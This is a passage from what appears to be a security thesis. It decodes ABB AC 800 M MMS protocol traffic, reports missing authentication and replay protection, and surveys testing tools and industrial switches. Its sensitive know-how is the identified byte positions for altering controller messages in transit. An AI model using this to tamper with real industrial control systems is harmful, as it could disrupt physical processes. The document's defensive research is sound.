We see that this maps to a confirmed-RequestPDU. The confirmed-RequestPDU consists
of an implicit sequence and is described in ASN.1 syntax below. We decoded the invokeID
of our second confirmed-Request to have the value 124.
Confirmed-RequestPDU ::= IMPLICIT SEQUENCE
{
invokeID
Unsigned32,
listOfModifier
SEQUENCE OF Modifier OPTIONAL,
confirmedServiceRequest,
[79] CS-Request-Detail
OPTIONAL
}
Then follows another confirmedServiceRequest as thelistOfModifier is optional and not
used in this implementation of MMS. The next tag must be mapped to a confirmedServiceRequest as this is the next identifier in the sequence. The CS-Request-Detail is
also optional, and not included in the messages we have intercepted. The confirmedServiceRequest is printed below and from the decoding above we se that the next tag, a4,
maps to a read which is an implicit Read-Request.
ConfirmedServiceRequest
{
status
getNameList
identify
::= CHOICE
[0]
[1]
[2]
IMPLICIT Status-Request,
IMPLICIT GetNameList-Request,
IMPLICIT Identify-Request,
4.4. DECODING MMS COMMUNICATION
rename
read
[3]
[4]
61
IMPLICIT Rename-Request,
IMPLICIT Read-Request,
*continues*
}
The Read-Request is a implicit sequence consisting of an specificationWithResult identifier, which by default is set to false. Default values are not transmitted as they are
known to both sender and receiver [30]. The next identifier in the Read-Request sequence
is a explicit variableAccessSpecification which is depicted below.
Read-Request ::= IMPLICIT SEQUENCE
{
specificationWithResult
[0]
variableAccessSpecification
[1]
}
VariableAccessSpecification ::= CHOICE
{
listOfVariable
[0]
{
variableSpecification
alternateAccess
[5]
},
variableListName
[1]
}
IMPLICIT BOOLEAN DEFAULT FALSE,
VariableAccessSpecification
IMPLICIT SEQUENCE OF SEQUENCE
VariableSpecification,
IMPLICIT AlternateAccess OPTIONAL
ObjectName
The VariableAccessSpecification is a choice between a listOfVariable or a variableListName. From our decoding we se that we have a CONTENT SPECIFIC constructed nr
0 tag which leads to a listOfVariable and further to a VariableSpecification.
VariableSpecification ::= CHOICE
{
name
address
variableDescription
{
address
typeSpecification
},
scatteredAccessDescription
invalidated
}
[0]
[1]
[2]
ObjectName,
Address,
IMPLICIT SEQUENCE
Address,
TypeSpecification,
[3]
[4]
IMPLICIT ScatteredAccessDescription,
IMPLICIT NULL
62
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
The VariableSpecification has a CONTEXT SPECIFIC constructed nr one tag points
towards a Address. The Address definition contains the address types described in section
2.6.1.
Address ::= CHOICE
{
numericAddress
symbolicAddress
unconstrainedAddress
}
[0]
[1]
[2]
IMPLICIT Unsigned32,
IMPLICIT VisibleString,
IMPLICIT OCTET STRING
The final tag, 82, which is a CONTEXT SPECIFIC primitive nr two tag, indicates
that this address is an unconstrainedAddress of the OCTET STRING type. The unconstrainedAddress has the value 325523R268421876Application 1203103. The addressing
formunconstrainedAddress is described in section 2.6.1. For supplementary information
we refer to ISO 9506 [7]. So we assume this PDU is a request for the value stored at the
unconstrainedAddress 325523R268421876Application 1203103 in the AC 800 M controller. We are not sure if this unconstrainedAddress should be translated into ASCII
or interpreted as a hexadecimal value but as we find a string that makes sense inside
the address we have chosen to convert it to ASCII. We recognize a part of the string
from figure 4.3, as we can see the text string Application 1 is part of the program tree
hierarchy downloaded to the AC 800 M controller. This probably means that there is
some logic behind how the unconstrainedAddress is constructed.
4.4.4
The Fourth PDU
The fourth PDU is depicted below.
a1 0c 02 01 7c a4 07 a1 05 89 03 00 01 0f
When decoding this PDU, we find that it has an invokeID with value 124 and therefore we
assume that it is a response to the previous request PDU decoded in section 4.4.3. The request contained an unconstrainedAddress with the value 325523R268421876Application 1203103.
As we will show below, we find that this PDU contains an OCTET STRING with values
0 1 15 or 0115. We decode the PDU to the following ASN.1 structure as depicted below.
1
3
5
7
a1
0c
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=12
02
01
7c
UNIVERSAL p r i m i t i v e nr 2 (INTEGER)
LENGTH=1
124
4.4. DECODING MMS COMMUNICATION
9
a4
07
63
CONTENT SPECIFIC c o n s t r u c t e d nr 4
LENGTH=7
11
13
15
a1
05
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=5
89
03
CONTENT SPECIFIC p r i m i t i v e nr 9
LENGTH=3
17
19
00
01
0f
0
1
15
We notice that the first tag is a1, which decodes to a CONTENT SPECIFIC constructed
nr one tag. As seen below, this maps to a Confirmed-ResponsePDU.
MMSpdu ::= CHOICE
{
confirmed-RequestPDU
confirmed-ResponsePDU
[0]
[1]
IMPLICIT Confirmed-RequestPDU,
IMPLICIT Confirmed-ResponsePDU,
* continues *
}
A Confirmed-ResponsePDU is described below. It consists of an invokeID and a ConfirmedServiceResponce. The invokeID, which decodes to 124, links this ConfirmedServiceResponce to the previous request through their shared invokeID. The optional field
in not in use.
Confirmed-ResponsePDU ::= SEQUENCE
{
invokeID
Unsigned32,
ConfirmedServiceResponce,
[79] CS-Request-Detail
OPTIONAL
}
ConfirmedServiceResponce
{
status
getNameList
identify
rename
read
*continues*
}
::= CHOICE
[0]
[1]
[2]
[3]
[4]
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
Status-Response,
GetNameList-Response,
Identify-Response,
Rename-Response,
Read-Response,
64
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
The ConfirmedServiceResponce maps through a read to a Read-Response. An excerpt of
the ConfirmedServiceResponce module definition is depicted above. The full ConfirmedServiceResponce module definition can be found in section A.2.2. The Read-Response
definition is included below.
Read-Response ::= SEQUENCE
{
variableAccessSpecification
listOfAccessResult
}
AccessResult ::= CHOICE
{
failure
success
}
[0]
[1]
VariableAccessSpecification OPTIONAL,
IMPLICIT SEQUENCE OF AccessResult
[0]
Data
IMPLICIT DataAccessError,
The AccessResult maps through success to Data, which is depicted below. This module
gives us a choice of different primitive data types. We decoded the last tag to be a CONTENT SPECIFIC primitive nr 9 tag, which indicates an OCTET STRING with value
115. So the previous request containing the unconstrainedAddress might be the request
for the returned value, 115, which could be stored at the memory location indicated in
the unconstrainedAddress field.
Data ::= CHOICE
{
-- context tag 0 is reserved for AccessResult
array
structure
boolean
bit-string
integer
unsigned
floating-point
real
octet-string
visible-string
binary-time
bcd
booleanArray
}
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[12]
[13]
[14]
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
IMPLICIT
SEQUENCE OF Data,
SEQUENCE OF Data,
BOOLEAN,
BIT STRING,
INTEGER,
INTEGER,
FloatingPoint,
REAL,
OCTET STRING,
VisibleString,
TimeOfDay,
INTEGER,
BIT STRING
4.4. DECODING MMS COMMUNICATION
4.4.5
65
The Fifth PDU
The fifth PDU contains the following hex-dump.
a0 2f 02 01 7d a4 2a a1 28 a0 26 30 24 a1 22 82
20 03 ff 17 52 32 36 38 34 32 31 38 37 36 41 70
70 6c 69 63 61 74 69 6f 6e 5f 31 02 00 03 01 00
03
We note that this PDU has the same size and starter tag as the third PDU described in
section 4.4.3. We decode the PDU as depicted below.
1
a0
2f
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=47
3
5
02
01
7c
UNIVERSAL p r i m i t i v e nr 2 (INTEGER)
LENGTH=1
125
a4
2a
CONTENT SPECIFIC c o n s t r u c t e d nr 4
LENGTH=42
7
9
11
a1
29
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=40
13
15
17
a0
26
CONTENT SPECIFIC c o n s t r u c t e d nr 0
LENGTH=38
30
24
UNIVERSAL c o n s t r u c t e d nr 16 (SEQUENCE)
LENGTH=36
19
21
23
a1
22
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=34
82
20
CONTENT SPECIFIC p r i m i t i v e nr 2
LENGTH=32
25
27
29
31
33
03
ff
17
52
32
36
38
34
3
255
23
R
2
6
8
4
66
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
32
31
38
37
36
41
70
70
6c
69
63
61
74
69
6f
6e
5f
31
02
00
03
01
00
03
35
37
39
41
43
45
47
49
51
53
55
57
2
1
8
7
6
A
p
p
l
i
c
a
t
i
o
n
1
2
0
3
1
0
3
If we compare the PDU in section 4.4.3 with this PDU, we find that it, apart from the
invokeID, is identical to this one. As the decoding procedure is similar to the decoding
of the PDU in section 4.4.3 we choose not repeat it. But we wish to point out that the
value of the final tag, 82, indicating an unconstrainedAddress of the OCTET STRING
type, is the same is the PDU described in section 4.4.3. The unconstrainedAddress has
the value 325523R268421876Application 1203103. This indicates that the AC 800 M
controller stores the counting variable at a fixed memory location.
4.4.6
The Sixth PDU
The sixth PDU is printed below and is a response to the request described in the previous
section. It relates to the PDU described in section 4.4.4 in the same manner as PDU
three did to PDU five. From the decoding we se that the invokeID has been incremented
to 125 and that the OCTET STRING value is 00 01 18 or concatenated 118.
a1 0c 02 01 7d a4 07 a1 05 89 03 00 01 12
1
a1
CONTENT SPECIFIC c o n s t r u c t e d nr 1
4.4. DECODING MMS COMMUNICATION
3
5
7
9
0c
67
LENGTH=12
02
01
7c
UNIVERSAL p r i m i t i v e nr 2 (INTEGER)
LENGTH=1
125
a4
07
CONTENT SPECIFIC c o n s t r u c t e d nr 4
LENGTH
11
a1
05
13
CONTENT SPECIFIC c o n s t r u c t e d nr 1
LENGTH=5
89
03
15
CONTENT SPECIFIC p r i m i t i v e nr 9
LENGTH=3
17
0
1
12
19
00
01
18
We will not include the module definitions in this section as they are similar to those of
section 4.4.4. If we compare the hex-dump of the fourth PDU with the sixth PDU, we
se that the only hexadecimal numbers that are changing are those in position 4 and 136 .
Position:
0
1
2
3
4
5
6
7
8
9 10 11 12 13
Fourth PDU:
a1 0c 02 01 7c a4 07 a1 05 89 03 00 01 0f
Sixth PDU:
a1 0c 02 01 7d a4 07 a1 05 89 03 00 01 12
Since we now know the position of the invoke and actual data byte, inside the MMS
PDU, we can use this knowledge to alter a PDU in transit from the Control Builder to
the controller.
4.4.7
The Seventh and Eighth PDU
Finishing up the cycle depicted in figure 4.2, the seventh and eighth PDU is a request
and response pair similar to PDU pairs three and four and five and six. Their invokeID
value is 126 and the response reports back a value of 121 so we have clearly identified
the variable counting upwards which is reported back to the control builder. After this
a new period of eighth PDUs will follow. PDU one and two contain the same values as
earlier, but we are unable to come up with any good explanation for their cause.
6
The length bytes in positions 1,3,6,8 and 10 will increase as the invokeID becomes larger than 0xff
and OCTET STRING becomes larger than 0xff ff ff
68
4.5
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
Security in MMS
After analyzing MMS protocol communications we will in this section look into the
security mechanisms defined by the MMS standard. The standard does specify means
for access control through accessControlList objects. We quote from the ISO standard
[7]:
T he &accessMethod field for an Named Variable object shall specify the
mode of access. If the Address is declarable (and obtainable) using MMS
services, the &accessMethod field shall have the value public, and the Address attribute shall be defined and available to MMS clients requesting the
attributes of the Named Variable object. Otherwise, the value of this field is
a local issue. The public access method shall not be available unless vadr is
supported.
From the quote above we see that each Named Object Variable has an accessMethod
field, which specify the mode of access. According to the standard, if the address is
declarable and obtainable using MMS service primitives the accessMethod shall have
the value public. Access to all objects can be controlled by a special object, the Access
Control List, that tells which client can read, delete or modify the object. On a general
level MMS specifies that if the accessMethod is public the following field shall appear
and if the &accessMethod is anything but public, the following field shall not appear
[7]. But there are some exceptions. An MMS server may declare an MMS variable that
exists only at the instant of access. Such a variable does not have an address per se, but
is still accessible at that instant [7]. We see that the standard provides mechanisms for
access control, but to our knowledge there are no other security mechanisms included in
the MMS standard. We quote from Security Considerations section in the ISO standard
[7]:
When implementing MMS in secure or safety critical applications, features
of the OSI security architecture may need to be implemented. This International Standard provides simple facilities for authentication (passwords)
and access control. Systems requiring a higher degree of security will have
to consider features beyond the scope of this International Standard. This
International Standard does not provide facilities for non-repudiation.
As stated above, MMS itself is not designed with information security in mind. This
indicates that security should be enforced at some lower layer, but as we have seen
through our analysis of the MMS, there is no security enforced at any layer. The ACSE
layer could have offered some security features, as described in section 2.6.1, but as the
ACSE layer is omitted from our implementation those features are forfeit.
According to the ISO standard the MMS protocol should have implemented some simple
facilities for password authentication and access control. We wanted to study these
mechanisms to see what security they really offer, but as they are at best optional and
4.5. SECURITY IN MMS
69
at worst not implemented they provide no security what so ever. We have through our
analysis seen that they do not exist.
When analyzing the MMS we have found no protection against replay attacks. This is
a major concern, as anyone with access to the network may sniff up a packet and then
replay it on the network at a an inappropriate moment. We do not regard the invokeID
field as such a mechanism as it is easily changed. We will therefore look closer into the
implemented authentication and access control of the MMS in this chapter to see what
protection it offers.
We wish to make one final observation in this section. Below we have included the
module definition for access control lists for MMS. As we can se below all entries apart
from the two first identifiers are optional in the MMS. We feel that by making virtually
all access control functionality OPTIONAL the standard disregards the security aspect.
As we have seen earlier there is no access control implemented in the lower layers as
ACSE is omitted for the MMS stack. Neither have we through our analysis discovered
any use or reference to a access control list in our decoded PDUs. This leads us to believe
that in this implementation of MMS, the ACCESS-CONTROL-LIST was regarded as
optional and therefore not implemented.
ACCESS-CONTROL-LIST ::= CLASS {
&name
Identifier,
&accessControl
Identifier,
&readAccessCondition
[0] AccessCondition OPTIONAL,
&storeAccessCondition
[1] AccessCondition OPTIONAL,
&writeAccessCondition
[2] AccessCondition OPTIONAL,
&loadAccessCondition
[3] AccessCondition OPTIONAL,
&executeAccessCondition
[4] AccessCondition OPTIONAL,
&deleteAccessCondition
[5] AccessCondition OPTIONAL,
&editAccessCondition
[6] AccessCondition OPTIONAL,
--- The following fields are used to record lists of objects placed
-- under the control of this ACCESS-CONTROL-LIST object.
-- They will be referred to collectively as the Controlled Object Lists
-&AccessControlLists
Identifier OPTIONAL,
&Domains
Identifier OPTIONAL,
&ProgramInvocations
Identifier OPTIONAL,
&UnitControls
Identifier OPTIONAL,
IF (vadr)
&UnnamedVariables
Address OPTIONAL,
ENDIF
IF (vnam)
&NamedVariables
ObjectName OPTIONAL,
IF (vlis)
70
CHAPTER 4. ANALYSIS OF Manufacturing Message Specification (MMS)
&NamedVariableLists
ENDIF
&NamedTypes
ENDIF
&DataExchanges
&Semaphores
&OperatorStations
&EventConditions
&EventActions
&EventEnrollments
&Journals
IF (cspi)
&EventConditionLists
ENDIF
}
4.6
ObjectName OPTIONAL,
ObjectName OPTIONAL,
ObjectName
Identifier
Identifier
ObjectName
ObjectName
ObjectName
ObjectName
OPTIONAL,
OPTIONAL,
OPTIONAL,
OPTIONAL,
OPTIONAL,
OPTIONAL,
OPTIONAL,
ObjectName OPTIONAL
MSS Plugin for Wireshark
After writing this chapter, we sent it to the people working on implementing MMS tests
for ABB CRC’s MuSecurity Mu-4000 device. They created a patch for Wireshark based
on our findings related to the implemented MMS protocol stack. The Mu-4000 device
will be further discussed in section 5.2.7. This patch was submitted to Wireshark development team and was added to the latest development release and has been available
since 02. May 2007. To run this release you must download the 0.99.5 or later version of
the development code and compile it. This patch enables us to dissect the MMS packets
and read their content. When referring to Wireshark in the remainder of this thesis we
refer to the Wireshark version containing the MMS patch.
Chapter 5
Test Methodology and Tools
To identify possible security vulnerabilities and gain an overview of what services run
on network elements used in DCS networks we have acquired a set of tools. Some of
these tools are open source and available to everyone. Other tools, such as the Mu-4000,
was purchased by ABB Corporate Research to perform security analysis on their own
and their subcontractor’s equipment. In this chapter we give a brief introduction to the
tools used in this thesis and our test methodology.
5.1
Test Methodology
As stated in section 1.2, our research methodology is based on the engineering approach.
The engineering approach is as stated in [24]; Observe existing solutions, propose better
solutions, build or develop, measure and analyze, repeat until no further improvements
are possible. To observe and analyze the existing solutions from a security perspective,
we must test the security functionality of the solutions. To produce verifiable results
and enable others to re-run our tests, we will perform tests using security tools. There
are many different test strategies we could deploy, how to test and on what level we
should test is a problem developers are faced with every day. A developer could use the
test-driven development method where you first write a unit test, then the actual code,
and then verify that the test runs to completion. On a higher level you can, according
to to [50], test functionality by the use of test sets. The test sets can be classified into
three disjoint sets:
• Coverage-based testing: In coverage-based testing, testing requirements are specified in terms of the coverage of the product (program,
requirements document, ect.) to be tested. E.g., We may specify that
all statements of the program should be tested at least once if we run a
complete test set, or that all elementary requirements from the requirements specification should be exercised at least once.
71
72
CHAPTER 5. TEST METHODOLOGY AND TOOLS
• Fault-based testing: Fault-based techniques focus on detecting faults.
The fault detection ability of the test set then determines its adequacy.
E.g, We may artificially seed a number of faults in a program, and then
require that a test set reveal at least 95 % of these artificial faults.
• Error-based testing: Error-based techniques focus on typical errorprone points, based on knowledge of the typical errors that people make.
E.g., off-by-1 errors are often made at boundary values such as 0 or the
maximum number of elements in a list, and we may specifically aim our
testing effort at these boundary points.
[50]
Security vulnerabilities are often found in a subset of faults that are related to authentication or network services. Network services running on a host might be manipulated
or exploited to provide a command shell to an attacker. Metasploit [Met07] is one tool
providing user friendly utilization of network exploits such as buffer overflows and stack
smashing. The article Smashing The Stack For Fun And Profit from Phrack Magazine
[Sma07] is an other reference for stack smashing. Authentication is the process of attempting to verify the digital identity of the sender of a communication. A common
example of such a process is the log on process. Testing the authentication process
means understanding how the authentication process works and using that information
to try to circumvent the authentication mechanism. The OWASP project [OWA07]
works on a testing framework with ”best practices” for penetration testing including
tests for authentication mechanisms.
So when we review the list from [50] (above), we could classify our vulnerability testing as
a subset of Error-based testing focusing on faults in authentication and network services.
We will not utilize the OWASP framework directly in this thesis, but we will use it as
an informal guide as time does not permit performing a full vulnerability assessment
or penetration test. We will utilize the tools at our disposal and provide description
of security vulnerabilities of the examined equipment. Based on this, we will identify
possible areas of improvement, but this will not be an exhaustive list as we have chosen
to examine several devices. Our findings should therefor be seen more as an indication
that the devices contain vulnerabilities.
5.1.1
Blackbox vs Whitebox Testing
Whitebox testing, also known as glass box, structural, clear box and open box testing is a
software testing technique where explicit knowledge of the internal workings of the item
being tested is used to select the test data. Unlike black box testing, white box testing
uses specific knowledge of programming code to examine outputs. The test is accurate
only if the tester knows what the program is supposed to do. He can then discover if the
program diverges from its intended goal [50]. Black box testing on the other hand takes
an external perspective of the test object to derive test cases and is often referred to as
5.2. TOOLS
73
functional testing [50]. The test designer selects valid and invalid input and determines
the correct output. There is no knowledge of the test object’s internal structure [50].
On a higher level, both blackbox and whitebox testing is required to make sure that the
device acts according to the specification. Structural analysis-based test sets tend to
uncover errors that occur during the implementation of the system. Functional analysisbased test sets tend to uncover errors that occur in the requirements and design specifications. For additional information on testing we refer to [35]. Even though this book
is ten years old we feel that it explains the principles behind testing very well. It is also
the only book we have found that deals with security testing techniques, which we feel
can be valuable to our project.
Our tests will be black box tests as we do not have access to the source code running on
the different devices.
5.1.2
Validation Criteria and Result Classification
When testing a device, we will first perform a reconnaissance of the target and run
various scanners. Based on the information acquired from the reconnaissance we will
run various attacks on the devices. We give a short presentation of the tested devices in
chapter 6. When testing for vulnerabilities, our primary focus is to determine whether
the equipment is capable of performing its primary task under and after an attack.
As a second objective we examine the attacked service for unresponsiveness or unusual
responses under and after an attack. We will run all tests twice for verification purposes.
As observation of existing solutions is a part of the engineering approach, we must
have some reference point as a baseline for our observations of device behavior and
vulnerabilities. Based on this we define the following classification of vulnerabilities. A
device failing its primary objective, e.g., switching, is named a class one vulnerability.
Any services crashed or other unexpected behavior not interrupting the primary service,
imply a class two vulnerability. We realize that this classification may seem crude,
but we feel it gives the reader a clear indication of what devices should be patched or
replaced first in a production environment. We also define a class three vulnerability
concerning vulnerabilities not crashing the service such as the risks of information leaks
and passwords sent in clear-text over the network. We also feel that is outside the scope
of this thesis to define a more formal classification.
5.2
Tools
We will in this section give a brief description of the tools we use in this thesis. The
tools are;
• Nmap
74
CHAPTER 5. TEST METHODOLOGY AND TOOLS
• Nessus
• IP Stack Integrity Checker
• Hydra
• The Protos Test Suite
• Scapy
• Mu-4000
• Achilles Security Test Device
All tools are open source except the Mu-4000, which is a commercial device purchased
by ABB Corporate Research. The Mu-4000 is depicted in figure 5.1.
Figure 5.1: The rack mountable Mu-4000 device manufactured by MuSecurity
5.2.1
Nmap
Nmap, Network Mapper, is a free open source utility for network exploration and security
auditing and can be found at [The07e]. It works against any compliant TCP stack and
can rapidly port scan large networks as well as single hosts. A port scan is a method an
attacker uses to enumerate services running on a host. An attacker sends requests on
different ports and takes note of which ports respond in certain way.
Nmap uses raw IP packets to determine what hosts are available on the network, and
what services ( that is, application name and version), those hosts are running. It can
also identify what operating systems and OS version they are running. Nmap can also
detect what type of packet filters or firewalls that are in use on the system. It classifies
ports into six states:
• Open: An application is actively accepting TCP connections or UDP packets on
this port.
• Closed: A closed port is accessible (it receives and responds to Nmap probe
packets), but there is no application listening on it.
• Filtered: Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a
dedicated firewall device, router rules, or host-based firewall software.
5.2. TOOLS
75
• Unfiltered: The unfiltered state means that a port is accessible, but Nmap is
unable to determine whether it is open or closed. Only the ACK scan, which can
be used to map firewall rule sets, classifies ports into this state. Scanning unfiltered
ports with other scan types such as Window scan, SYN scan, or FIN scan, may
help resolve whether the port is open.
• Open|Filtered: Nmap places ports in this state when it is unable to determine
whether a port is open or filtered. This occurs for scan types in which open ports
give no response. The lack of response could also mean that a packet filter dropped
the probe or any response it elicited.
• Closed|Filtered: This state is used when Nmap is unable to determine whether
a port is closed or filtered. It is only used for the IPID Idle scan.
We have used the TCP SYN scan as our scan method. The TCP SYN scan is the
default scan option. The TCP SYN scan works in the following manner: Nmap sends
a TCP packet with the SYN flag set to the target, indication that it wishes to open a
normal TCP connection. The target will then respond to the connection request with
either a both a SYN and a ACK flag, indicating that the port is listening (open), or
with RST (reset) flag indicating a closed port. If no response is received after several
retransmissions, the port is marked as filtered. The port is also marked filtered if an
Internet Control Message Protocol (ICMP) unreachable error (type 3, code 1,2, 3, 9, 10,
or 13) is received. The TCP SYN scan will never complete a TCP connection setup,
therefore this technique is often referred to as half-open scanning. Nmap is an open
source application and is distributed under GPL (The GNU General Public License).
Nmap Scan Options
Nmap must run as root to gain access to the RPC version probe and os detection options.
As stated in the section above, we choose TCP SYN scan as our scan method and nmap
requires the user to have root privileges to run this scan type.
When Nmap detects RPC services, it starts the Nmap RPC grinder which is used to
determine the RPC program and version numbers. OS detection is performed through
TCP/IP stack fingerprinting. Nmap sends a series of TCP and UDP packets to the
remote host and examines every bit in the responses. After performing dozens of tests
such as TCP initial sequence number (ISN) sampling, TCP options support and ordering,
IP ID (IPID) sampling, and the initial window size check, Nmap compares the results
to its nmap-os-fingerprints database and prints out the OS details if there is a match.
We used the aggressive scan mode as it speeds up the scan and we were alone on a
reasonably fast and reliable network. We also used the -f option to cause the requested
scan to use tiny fragmented IP packets. This will split up the TCP header over several IP
packets. The reason for using the -f option is to test how the device reacts to fragmented
packages.
76
5.2.2
CHAPTER 5. TEST METHODOLOGY AND TOOLS
Nessus
Nessus is a remote security scanner for Linux, BSD, Solaris, and other Unices and is
distributed under GPL (The GNU General Public License). It is multi-threaded and
capable of detecting known vulnerabilities of network services running on a host. Nessus
is plug-in-based, allowing for easy updates and scripting of new vulnerabilities. Some of
these plug-ins are categorized as Dangerous or DOS. These plug-ins will actually perform
a DOS attack and potentially crash systems that have these particular problems. We
enabled these plug-ins as we wished to run realistic tests against the switch. Nessus scans
all ports for known services and not only the IANA assigned port numbers. This means
that it will recognize a FTP server running on a non-standard port (ie: 31337), or a web
server running on port 8080. Nessus generates reports of the scans and suggests possible
solutions for the discovered security problems. Nessus and additional documentation
can be found at [Nes07].
5.2.3
IP Stack Integrity Checker
IP Stack Integrity Checker (ISIC) is a suite of utilities to test the stability of an IP Stack
and its component stacks (e.g., TCP, UDP, ICMP and others ) and can be found at
[IP 07]. It is a common tool and is available through many packet repositories, e.g., the
Ubuntu package repository. It generates a large amount of pseudo-random packages of
the selected protocol. The packets be configured to conform to predefined tendencies
such as 50 % of the packets generated can be fragmented, have random IP Options or
both. This tool is meant to test firewall rules or find bugs in the IP stack. ISIC also
contains a utility to generate raw ether frames to examine hardware implementations.
Other uses for this tool might be IDS testing, stack fingerprinting, breaking sniffers and
DOS attacks [IP 07].
5.2.4
Hydra
Hydra is a parallelized log in cracker that supports numerous protocols. New modules
are easy to include, and it is also known to be flexible and very fast. It contains modules
for Samba, FTP, POP3, IMAP, Telnet, HTTP Auth, LDAP, NNTP, MySQL, VNC,
ICQ, Socks5, PCNFS, Cisco and more. Includes SSL support and can be integrated
as a part of Nessus. The newest version also contains a web form attack module. It
uses dictionaries to bruteforce log ins. Hydra comes with the option of a graphic user
interface and is available from [The07b].
5.2. TOOLS
5.2.5
77
Protos Project Test Suite
The PROTOS project researched different approaches of testing implementations of protocols using black-box (i.e. functional) testing methods [PRO01]. The goal was to support pro-active elimination of faults with information security implications. The project
became known for finding several vulnerabilities in network protocols. The purpose of
this test-suite is to evaluate implementation level security and robustness of Simple Network Management Protocol (SNMP) implementations. In this test-suite, the focus was
set on the certain PDUs, namely requests (GetRequest, GetNextRequest and SetRequest) and traps. The protocol SNMP v1 was chosen. Rationale behind this selection
[PRO01]:
• SNMP agents and trap-aware SNMP managers are by design ready to accept incoming requests and traps without prior session setup. These expose a natural
attack vector that should be scrutinized with top priority.
• All SNMP implementations must support SNMP v1. Moreover, newer versions of
the protocol (SNMP v2[p,c,u] and SNMP v3) should be considered as protocols of
their own due to the changes in the management paradigm.
• SNMP v1 has a less complicated structure in comparison to the newer versions.
This enables us to concentrate on other things than the protocol specification.
Thus, we could expect a test-suite of good quality and coverage.
• Although SNMP v1 is a venerable protocol, it has no popular and public syntax
testing material aimed against robustness problems.
• Due the widespread nature of SNMP v1, there are plenty of implementations by
several vendors available for testing, including equipment that are a critical part
of the core Internet infrastructure.
Even though this tool and the vulnerabilities has been known for quite some time we
have chosen to run it to see if the SNMP implementations used in industrial devices are
patched according to known vulnerabilities.
Protos Test Options
We used the following configuration when running the Protos project test suite against
devices. We used the -showreply option to print on screen each reply from the SNMP
agent. We dumped this output to file. To allow for slow responses for embedded devices,
we used the option -delay 1000 to allow for a delay of a 1000 ms between each test case.
To verify that the service still is running after a test case we used a valid test-case, number
# 0, which is injected between the real test-cases to see if the service still provides a valid
response after the potential damaging test case. The use of valid test-cases is enabled
through the option -zerocase
78
5.2.6
CHAPTER 5. TEST METHODOLOGY AND TOOLS
Scapy
Scapy is a open source interactive packet manipulation program from [Sca07d]. It is able
to forge and decode network PDUs from many protocols. Scapy allows the user to capture
PDUs and match requests and replies. It also allows the user to send custom made
PDUs on the wire. Scapy is written Python and runs on any Linux or Unix distribution
supporting the libpcap, libdnet packages and the python wrappers used in these libraries.
Scapy is a relatively new tool and has currently very little user documentation. Scapy
comes with a set of predefined methods for sending, constructing and capturing packets.
The user interacts with Scapy through a command line interface and the user can define
new methods using Phyton syntax to build new tools. This makes Scapy a flexible
framework offering the tools to craft any packet independently of predefined stacks and
common networking rules.
5.2.7
MuSecurity’s Mu-4000
Mu-4000 is a commercial Security Analyzer platform which allows automated testing of
any IP based product or application. The Mu-4000 subjects any target to a large number
of protocol mutation attack vectors as it simultaneously monitors the targets responses
to identify and isolate fault conditions and documents the results in a report. It also
creates packet captures files (pcap files) and binaries containing the fault conditions
making any fault identified reproducible. The pcap file allows the tester to analyze the
packet stream between the Mu-4000 and the test subject and binaries recreates the fault
allowing the tester to verify fault removal.
The Mu4000 aims at identifying both unknown (0-day), as well as published vulnerabilities, in any IP-based system, application or network device through protocol mutation
analysis. Protocol mutation analysis dynamically combines custom developed protocol
attack mutations with a large number of transport and authentication options, generating millions of mutations (attacks vectors). The protocol mutations are based on
analysis of security, hacker methodology and likely implementation flaws that could lead
to robustness issues or potentially exploitable vulnerabilities. The Mu-4000 can restart
non responsive test devices by controlling their power supply.
5.2.8
Achilles Security Test Device
As the Achilles security test was performed by a professional test crew and we were
unable to attend the test, we will refrain from describing the tools used in this test as
it is not clear to us what tools they used. The preliminary report from Wurldtech is
discussed in sections 7.5.6 and 7.5.8 and we have included the full report in appendix F.
Chapter 6
Equipment
In this chapter we will give a short presentation of the equipment we have tested.
6.1
Moxa EDS-508
The Moxa EDS-508 is an industrial ethernet switch with eight ports designed for ethernet
communication in harsh application environments. The EDS-508 is the leftmost switch
depicted in figure 6.1. The manufacturer of EDS-508 states that it has a high mean time
between failures (MTBF) and deploys a redundant Turbo Ring technology to ensure
that the network will work continuously.
The Turbo Ring technology is a redundant network protocol developed by Moxa. Turbo
Ring provides users with an easy way to establish a redundant ethernet network with a
high-speed recovery time. Moxa states that once any segment of network is disconnected,
the automation system will resume normal operation in less than 20 ms.
Figure 6.1: A collection of three Moxa Industrial Ethernet switches. The EDS-508 is
the leftmost switch
EDS-508 has features such as Quality of Service (QoS) through Tagged VLAN and multicast support through Internet Group Management Protocol (IGMP). It also supports
Remote Network Monitoring (RMON), which is the Internet Engineering Task Force
(IETF) standard monitoring specification. It allows various network agents and console
systems to exchange network monitoring data through SNMP.
79
80
CHAPTER 6. EQUIPMENT
EDS-508 supports IEEE802.1X (Port-Based Network Access Control) to enhance user
authentication. Authentication is done using a RADIUS server or by assigning protected
static MAC addresses to specific ports.
6.2
Hirschmann MM3-4TX1-RT
The Hirschmann MM3-4TX1-RT is an Industrial Ethernet Switch with 8 ports and
is depicted in figure 6.2. It is designed to be fast and cost-effectively and to provide
reliability and stability with its rugged industrial-grade design. It has a fiber optical
converter which to convert ethernet network traffic to fiber network.
Figure 6.2: A Hirschmann MM3-4TX1-RT industrial ethernet switch.
The Hirschmann Switch supports the ring topology may have up to 50 switches in a
ring realizing very large networks. Hirschmann states that the ring topology allows for
a fast reconfiguration time of the network (less then 500ms) and thus, it is faster than
Spanning Tree Protocol (STP) and Rapid Spanning Tree Protocol (RSTP). It support
the IEEE 1588 Precision Time Protocol (PTP) for synchronization between 2 modules.
The Hirschmann Industrial Ethernet Switch can mounted on a DIN rail and requires an
external power supply connected through the backplane of the switch.
6.3
